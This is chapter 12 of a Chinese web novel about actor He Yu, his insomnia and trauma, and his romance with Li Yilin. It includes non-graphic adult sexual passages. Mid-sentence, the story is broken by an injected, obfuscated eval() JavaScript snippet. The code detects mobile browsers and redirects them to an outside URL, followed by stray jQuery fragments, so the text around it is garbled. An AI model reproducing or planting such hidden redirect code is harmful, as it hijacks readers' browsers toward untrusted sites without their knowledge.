12


    远在大连的李伊林没有食言。每天晚上，她都会给何屿发微信，或长或短的讲述自己的一天，描述一些瞬间。这些信息就像信件般用心，读起来流畅自然，优美舒心。


    睡前，她也会给他打电话，没什么要说的，只是想听他的声音。她也经常给他寄一些当地零食，嘱咐他带给剧组成员。何屿觉得，虽然相隔两地，伊林待他却更亲密了。


    在这些时间里，何屿除了两点一线的生活，也会更多参与剧组聚会。有时他会聊起曾经的失眠症，把那些一直压抑心底，从未见光的黑暗时刻分享出来。这些话他从未对方华和伊林说过，不想让她们担心。但对着剧组成员，他没有障碍。一方面，他们是他在事业上的好朋友，在情感和人格上都值得信赖。另一方面，走出剧场，他们实际上毫无交集，有一种与陌生人倾诉的无所顾忌。


    在分享过后，一位剧组演员私下推给他自己的心理医生。“我跟你差不多，常年失眠，有一段时间已经严重到快要精神分裂。家人朋友给我找了无数医生，最后是在他这里好转的。”她没有用“痊愈”这个词。是的，只要经历过的人就会明白，精神疾病没有所谓痊愈。对他来讲，失眠只是看似离开了他。只要他在任何一个方面出现失衡，它就会用嗜睡继续吞噬他。


    *


    与伊林的看法不同，何屿并不认为自己的嗜睡是由她引起。在那段时间里，《风起》宣传期与利希斯的诸多品宣活动让他疲惫不堪，但为了收视率与伊林的职业处境，他选择忍耐。那时的他认为，这些只不过是一时的工作与情绪过劳，熬过去就好了。


    他丝毫没有想到，伊林会把出现在他身上的症状，归因于她的陪伴。这在他看来简直匪夷所思。曾经掉入严重失眠症的人是他，嗜睡症也只不过是这种精神向问题的另一种表现。一切的问题根源都只在于他自己，与任何人无关。


    这种想法也把他推给了另一种怀疑：曾经快要置他于死地的失眠症，真的是因为伊林的陪伴，获得痊愈的吗？还是说，只是因为他早已对伊林产生感情，她的陪伴，不过是一种安慰剂效应，提升了绝对的情感浓度，掩盖掉他精神上一直未被解决的问题。而当她的陪伴成为常态，两个人的关系趋于稳定，这种情感浓度又会突破另一种阀值，就像双向情感障碍一样，从一个极端，走向了另一个极端。


    但这又如何解释，伊林离开之后这一年半的时间里，尽管他经历了前所未有的情绪低谷，他的睡眠却奇迹般地恢复正常？


    *


    方华曾经为他找过无数心理医生，没有一个对他起效。何屿知道，这并非医生能力不足，而是他不想分享。实际上，他耻于告知一个等着将他当成客体分析的陌生人他曾经历过什么。那段黑暗、耻辱的经历，在他36年的生命中，只告诉过李伊林一人。


    他不知道为什么自己会与伊林分享一切。他喜欢伊林，但并不信任她。她总是一个接一个的喜欢男明星，又在现实里男友不断。而他在感情方面，只是个残废。他无法接近另一个人的身体，那总让他想起在最孤独的少年时代，他是如何被脱光衣服当众羞辱，又是如何被当成另一个性别被众人蔑视。他不喜欢自己的身体，自然不想向另一个人展示它。


    但是伊林，伊林是上天送给他的例外。他是通过文字认识了她，又在长久的“网络追踪”中熟悉了她。他在用一种带有距离的、沉默又安全的方式，走近另一个人的心。


    回头去看，接受那一场访谈，是他第一次主动制造机会，尝试向未曾谋面的李伊林敞开自己。后来的相遇，伊林真正与他睡在一张床上，像一场倒叙。他先认识了她的灵魂，再带着身为同类的确信，缓缓向作为真正个体的她靠近。


    当真实的李伊林躺在他的身边，他产生了一种奇妙感受——他想要真正的接近另一个人。他想要睡在她身边，试着接近她，与她穿着睡衣的手臂贴在一起。这些接触让他感到，他可以真正的放下心来。因为她在他身边，他忽然有了某种脆弱的、可以放下的权力。因为那些曾经将他包裹的，浓稠、孤独的黑暗，被她变成了另一种甜蜜的相守。


    他是一步一步，体会到身体与心灵的变化。从贴着她的肩膀，到轻轻将手臂搭在她的小腹，再到像个小勺子一样从背后拥抱她，那个远道而来的、一直在微博私信中向他表白的人，在尚未确定关系的阶段，温柔接受了他所有试探。


    *


    十六岁时，何屿曾有过一段少年人的恋爱。那是他身体的发育阶段，每天都会生出难以自持的强烈欲望。但在内心深处，他控制不了对性的厌恶。这种身体与心灵的矛盾最终劫持了他，让他主动结束了这段感情。


    在此之后，他没有再接近过任何人。但他无法控制身体欲望的无端生长。他总是机械的独自解决这种渴求，不论是肮脏的厌恶还是释放的舒爽，都只有他自己知道。


    渐渐的，他对自己的身体养成了某种熟练与坦然，反而不去憧憬任何来自他人的接近与喜爱。他认为，他与自我达成了某种和解。这种平衡不应被任何所谓的“爱情”打破。


    *


    这种与自我的孤独和解，陪伴了他两个十年。他认为自己已然习惯与自我作伴，直到彻骨失眠将他推至唯一的拯救者。


    三十六岁时，与他同床共枕的李伊林提出接吻。她不会知道，除却演员生涯中与对戏演员的接吻练习，这是他第一次真正意义上的亲吻。而这唤起了他强烈的身体反应。一种全新的、带着战栗的幸福感瞬间包围了他。生平第一次，他尝到了灵魂相接带来的甜蜜，像毒品一样，刺激着他完全未被开发过的神经区域。那是第一次他控制不住对另一个人产生的美妙欲望，却又在脑中清晰的告诫自己，她是对他来说，十分重要的李伊林。在未确定她的心意时，不能任性，更不能让一时冲动毁掉在她身上，他用尽手段，缓慢建立起的情感围栏。


    在甜蜜又令人晕眩的亲吻之后，他强迫自己离开了她，带着灼热又无法自持的欲望，去往浴室独自解决。热水的掩饰与包裹之中，已经习惯的动作在此时变得寡淡，可笑，索然无味。


    从那时起，他就无比清晰一个事实。


    那些与孤独为伍的所谓和解，只是自欺欺人。


    他想要，甚至是需要李伊林。


    *


    何屿经常想起尚未对伊林告白的那段日子。心灵渴求与身体欲望交织在一起，让他对她生出前所未有的思恋之情。但他又天然抵抗着这种日益加深的爱意渴望。因为他觉得这一切都太过份了。他暗恋了李伊林长达十年，爱她的思想，爱她的笔触，爱她的眼睛，爱她的灵魂。曾经他因失眠快要丧失一切，却又因为她的陪伴走出死荫的幽谷。如今，她不仅仅控制着他的心，连他的身体，他的生命，都被她握在手中。这不公平。


    所以他像个“渣男”一样吊着她。他接受她的表白，接受她的亲吻，也不隐瞒自己对她的思念和喜欢。但是他不表白。他甚至有些邪恶的欣赏着李伊林的挣扎。他要让她尝尝自己曾有的感受。失望，怨怼，患得患失，无法自拔。


    渐渐地他发现，他不想，也不忍看她痛苦。他更不想因为「何屿」这个名字，让她陷入充满恶意的公共舆论场。


    他做了一个决定。他要公开向她表白，不管她是否回应。


    他爱她，这是他的事。


    *


    幸运的是，伊林没有让他失望。她回应了他，拥抱了他，把自己完完全全交给他。


    他永远忘不了第一次与她肌肤相亲。她温柔的引导着他，完全不知在他内心的欲望，是如何一步步演化成黑暗粘稠的侵吞之欲。她的皮肤因为他灼烧着，她的声音与呼吸都由他的节奏所控制，她修长的手指紧紧抓挠着他，像是完全承受不了他越来越不加掩饰的深重入侵。


    爱与欲望编织成


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051019|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    网，让他深陷其中。他从未觉得如此快乐和自由，仿佛那些常年缠绕他的黑雾，都在此刻，灰飞烟灭。


    他喜欢看她因自己而失控。他喜欢看她洇红了面颊，痛苦而快乐的看着他。他喜欢闭上眼睛亲吻她，用一种缓慢的节奏给予她舒爽。他感受到内心甜蜜又贪婪的欲望，像凶猛浪潮一般冲击着他被皮肤包裹的每一寸神经。


    他觉得，在她所给予的拥抱里，他被原谅了。


    *


    他无法告诉伊林这种感受。他觉得自己像个无力自控的野兽，总是跌入欲望的深渊让她失去知觉。但他又对此重度成瘾，以至于在伊林离开他回到上海的时日里，他每天都会想着她自渎至深夜。


    这是他第一次体会到爱。浓稠的、毫无节制的感情兜头劈下，让他深陷其中，无法自拔。他有时会在想起她的时候嘴角上扬，内心如暖阳照耀。有时又会在思念她时陷入忧郁，把自己埋进床铺，自顾自怨恨为什么她总是不把自己放在她的第一顺位。他在孤独中自私的怨怼着她，她说了她爱他，为什么又总是要离开他？


    但他清楚的知道，这并非李伊林的初次恋爱。在她面前，他不能表现得太过依赖。这或许会让她对他产生幻灭。他始终提醒自己记得，李伊林喜欢的，是那个早已被所谓的“温柔的疏离绅士”框住的「演员何屿」。他不能任性，不能失控，更不能干扰伊林回到上海之后的正常生活。


    他让自己陷入一种平静的疯狂之中。而他甘之如饴。


    *


    他从未想过她会不告而别。他明白她会辞职，会离开一段时间，但她答应过他，一定会回来。他理解李伊林作为一个独立的人，需要有属于她的自由和空间。他不会干扰。他训练自己成为一个成熟懂事的恋人。


    在与伊林热恋的这段时间，他感受到对方在恋爱中的成熟度。她不是非常黏人，却会及时体察他的情绪，给予他安静的陪伴。她也从不吝于表达爱，不论是对他的作品，还是他这个人。她不会把工作中的情绪带回属于他们的空间，只会带回来食物，鲜花，和爱。


    他从未理解过她的不告而别。因为他绝不会这样对她。他可以接受事业的选择，短暂的离别，回归自我的空间，前提是充分的沟通，并明确这种分离会持续的时限。如果角色转换，是伊林陷入嗜睡，他一定会等到她醒来，告诉她自己心中所想，再听听她想让自己怎么做。


    在失去她的这段日子里，他在无数次钻牛角尖式的自我追问中，得出结论。是因为她是他的初次恋爱，所以他是不成熟的。他无法阻止自己越陷越深，而她却能轻易抽身。他无法做到的事，她对他做了。除了接受，他别无他法。


    现在，他决定不再迁就她。他想怎么对她，就怎么对她。他才不管她是不是想跟他回家，更不去管她是否愿意再次与他同床共枕。反正他想这么做。她无法做到的事，轮到他对她做。这样才公平。


    他也不再去想，一个真实的，毫不温柔的，与「演员何屿」完全相悖的他，是否会让李伊林幻灭。他想通了。他爱她，想要她接纳一个完全真实的他自己。所以他完完全全的任性待她，甚至有点破罐子破摔——大不了，也就是她的再次离开。他受得起。


    像是上天在故意满足他的期待，她又一次接住了他。她忍受着他的黑暗欲望，用拥抱化解他的一切愤懑。她又毫无保留的对他坦白，向他倾诉藏在内心深处的忍耐与失衡。


    在那个重逢的明亮清晨，他忽然明白了一件事：这是他们第一次真正意义上的坦诚相见。他不是温柔疏离的演员何屿，她也不是体面成熟的恋人伊林。他们只是在这个巨大世界里，带着伤痛跌撞成长的普通人。幸运的是，命运让他们遇到彼此，历经坎坷，抹去伪装，最终相爱。


    像是终于拨云见日，拂去面纱，与属于彼此的自我相见。


    这是破除层层矫饰与伪装之后，心之所属的唯一真相。